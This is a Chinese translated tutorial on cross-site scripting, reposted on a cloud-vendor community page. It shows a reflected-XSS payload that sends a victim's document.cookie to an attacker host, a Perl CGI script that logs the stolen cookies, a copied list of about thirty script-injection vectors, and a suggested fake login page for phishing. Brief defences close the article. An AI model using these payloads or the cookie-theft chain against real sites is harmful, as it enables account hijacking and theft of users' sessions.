跨站指令碼說明_漏洞研究

來源:互聯網
上載者:User
以前看過分析家寫過一篇文章,介紹跨站指令碼的安全隱患,當時只是知道有這樣的  
問題,也沒有仔細閱讀,目前此類問題經常在一些安全網站發布,偶剛好看到這樣一篇文章  
,  
抱著知道總比不知道好的想法,翻譯整理了一下,原文在偶首頁的collection目錄裡,錯誤  
之處請  
多多指點。  
OK,go............  

什麼是跨站指令碼(CSS/XSS)?  

我們所說跨站指令碼是指在遠程WEB頁面的html代碼中插入的具有惡意目的的資料,使用者認為該  
頁面是可信賴的,但是當瀏覽器下載該頁面,嵌入其中的指令碼將被解釋執行,  
有時候跨站指令碼被稱為"XSS",這是因為"CSS"一般被稱為分層樣式表,這很容易讓人困惑,  
如果  
你聽某人提到CSS或者XSS安全性漏洞,通常指得是跨站指令碼。  


XSS和指令碼注射的區別?  

原文裡作者是和他一個朋友(b0iler)討論後,才明白並非任何可利用指令碼插入實現攻擊的  
漏洞都被稱為XSS,還有另一種攻擊方式:"Script Injection",他們的區別在以下兩點:  
1.(Script Injection)指令碼插入攻擊會把我們插入的指令碼儲存在被修改的遠程WEB頁面裡,如  
:sql injection,XPath injection.  
2.跨站指令碼是臨時的,執行後就消失了  
什麼類型的指令碼可以被插入遠程頁面?  

主流指令碼包括以下幾種:  
HTML  
JavaScript (本文討論)  
VBScript  
ActiveX  
Flash  


是什麼原因導致一個網站存在XSS的安全性漏洞?  

許多cgi/php指令碼執行時,如果它發現客戶提交的請求頁面並不存在或其他類型的錯誤時,  
出錯資訊會被列印到一個html檔案,並將該錯誤頁面發送給訪問者。  
例如: 404 - yourfile.html Not Found!    

我們一般對這樣的資訊不會注意,但是現在要研究CSS漏洞的成因,我們還是仔細看一下。  
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html  
該URL指向的串連是有效,但是如果我們把後面的downloads.html替換成brainrawt_owns_  
me.html  
,一個包含404 - brainrawt_owns_me.html Not Found! 資訊的頁面將反饋給訪問者的瀏覽  
器。  
考慮一下它是如何把我們的輸入寫到html檔案裡的?  

OK,現在是我們檢查XSS漏洞的時候了!  

注意:下面僅僅是一個例子,該頁面存在XSS漏洞,我們可以插入一寫javascript代碼到頁面  
裡。當然方法很多  
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc  
ript>  
當我們提交這個URL的時候,在我們的瀏覽器中彈出一個訊息框,"XSS_Vuln_Testing"?   
這個例子只是一個XSS漏洞的簡單示範,並無實際意義,但足以說明問題所在。  

下面我們分析一下造成該運行結果的原因,program.cgi對我們的輸入沒有經過有效過濾處理  
,  
就直接寫入404 error頁面中,結果建立了一個頁面,如下:  
          <html>  

          <b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!  

          </html>  

其中的javascript指令碼通過瀏覽器解釋執行,然後就出現了你所看到的結果。  


如何利用XSS來完成hacking?  

如同前面所提到,如果使用者提交的請求不能得到滿足,那麼伺服器端指令碼會把輸入資訊寫入  
一個  
html檔案,當伺服器端程式對寫入html檔案的資料沒有進行有效過濾,惡意指令碼就可以插入  
到  
該html檔案裡。其他使用者瀏覽該串連的時候指令碼將通過用戶端瀏覽器解釋執行。  

案例:  

假設你發現myemailserver.tld有CSS漏洞,你想要獲得其中一個人的email帳號,比如我們的  
目標是b00b這個人。  
           www.myemailserver.tld/cgi-bin/news.cgi?article=59035  
把上面存在CSS漏洞的串連修改一下:  
     www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red  
這會建立了一個錯誤頁面,我們得到如下資訊:  
           Invalid Input! [article=hax0red]  

當插入下面這樣的javascript代碼時,你的螢幕上會彈出一個包含test的訊息框。  
           www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<  
/script>  
<script>並沒有列印到螢幕上,它是隱藏在背後執行,由於伺服器端程式並沒有對  
<script>alert('test')</script>進行有效過濾,所以在頁面發回到瀏覽器並執行了該指令碼  
。  

下面我們瞧瞧如何利用該漏洞入侵 b00b同志的郵箱,首先你必須知道b00b的email地址,  
並且知道cookies的作用。那麼你可以告訴b00b一個惡意的串連,嘿嘿,當然  
它的用意就是從b00b機器中cookie資訊裡獲得自己想要的東東。  
想辦法讓b00b訪問myemailserver.tld網站發表的文章,比如說:”親愛的b00b,看看這個美  
女  
如何呀?”  

那麼當可憐的b00b訪問 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取  
並儲存cookie的指令碼  
           </script>  
串連時,發生什麼事情?cookie都有了,你該知道怎麼辦了吧!  

如果在你目前不是這樣的情形,你可以拷貝email伺服器的登陸頁面,掛到其他的系統上,  
然後引導使用者登陸你的惡意系統頁面  
這樣使用者資訊你可以記錄下來,然後再把記錄的資訊發送回真正的email伺服器頁面,  
那些笨蛋並不會意識到實際發生的事情。  

把javascript指令碼插入WEB頁面的不同方法:  

<snip>  
拷貝自:GOBBLES SECURITY ADVISORY #33  
Here is a cut-n-paste collection of typical JavaScript-injection hacks  
you may derive some glee from playing with.  

  <a href="javascript#[code]">  
  <div onmouseover="[code]">  
  <img src="javascript:[code]">  
  <img dynsrc="javascript:[code]"> [IE]  
  <input type="image" dynsrc="javascript:[code]"> [IE]  
  <bgsound src="javascript:[code]"> [IE]  
  &<script>[code]</script>  
  &{[code]}; [N4]  
  <img src=&{[code]};> [N4]  
  <link rel="stylesheet" href="javascript:[code]">  
  <iframe src="vbscript:[code]"> [IE]  
  <img src="mocha:[code]"> [N4]  
  <img src="livescript:[code]"> [N4]  
  <a href="about:<script>[code]</script>">  
  <meta http-equiv="refresh" content="0;url=javascript:[code]">  
  <body onload="[code]">  
  <div style="background-image: url(javascript:[code]);">  
  <div style="behaviour: url([link to code]);"> [IE]  
  <div style="binding: url([link to code]);"> [Mozilla]  
  <div style="width: expression([code]);"> [IE]  
  <style type="text/javascript">[code]</style> [N4]  
  <object classid="clsid:..." codebase="javascript:[code]"> [IE]  
  <style><!--</style><script>[code]//--></script>  
  <![CDATA[<!--]]><script>[code]//--></script>  
  <!-- -- --><script>[code]</script><!-- -- -->  
  <script>[code]</script>  
  <img src="blah"onmouseover="[code]">  
  <img src="blah>" onmouseover="[code]">  
  <xml src="javascript:[code]">  
  <xml id="X"><a><b><script>[code]</script>;</b></a></xml>  
  <div datafld="b" dataformatas="html" datasrc="#X"></div>  
  [/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]  

----Copied from GOBBLES SECURITY ADVISORY #33----  
</snip>  


一個真正的擷取cookie並且做記錄的例子:  

注意:要使它工作,你的瀏覽器必須允許接受http://website.tld網站發送的cookies,  
當我測試下面的資訊時,使用  
javascript建立訪問者的cookies,javascript指令碼放在index.html檔案中。  
OK,下面假設http://website.tld存在XSS攻擊的安全隱患,存在漏洞的串連是:  
http://website.tld/program.cgi?input=<evil javascript>  
我們建立這樣一個串連:  
http://website.tld/program.cgi?input=<script>document.location='http://yoursite  
.tld  
/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>  
然後讓儲存該網站cookie的使用者訪問這個串連:  

這是我們的CGI指令碼,它的作用就是對使用者cookie做記錄:  

---------evil_cookie_logger.cgi-----------  

#!/usr/bin/perl  
# evil_cookie_logger.cgi  
# remote cookie logging CGI coded by BrainRawt  
#  
# NOTE: coded as a proof of concept script when testing for  
#       cross-site scripting vulnerabilities.  

$borrowed_info = $ENV{'QUERY_STRING'};  
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;  

open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:  
text/html/n/n something went wrong/n";  
  print EVIL_COOKIE_LOG "$borrowed_info/n";  
  print "Content-type: text/html/n/n";  
close(EVIL_COOKIE_LOG);  

------------------------------------------  

該指令碼首先通過 $ENV{'QUERY_STRING'}獲得cookie,列印到$borrowed_info變數裡,  
通過open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie資訊儲存到evil_cookie_lo  
g檔案。  

注意:上面的javascript指令碼,可能在一些瀏覽器或者網站上不能執行,  
這僅僅是我在自己的網站上做測試用的。  

如何防範XSS攻擊?  
1.在你的WEB瀏覽器上禁用javascript指令碼  
2..開發人員要仔細審核代碼,對提交輸入資料進行有效檢查,如"<"和">"。  

可以把"<",">"轉換為<,>  
注意:由於XSS漏洞可被利用的多樣性,程式員自己要明白具體需要過濾的字元,  
這主要依賴於所開發程式的作用,建議過濾掉所有元字元,包括"="。  

對受害者來說不要訪問包含<script>字元的串連,一些官方的URL不會包括任何指令碼元素。  

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.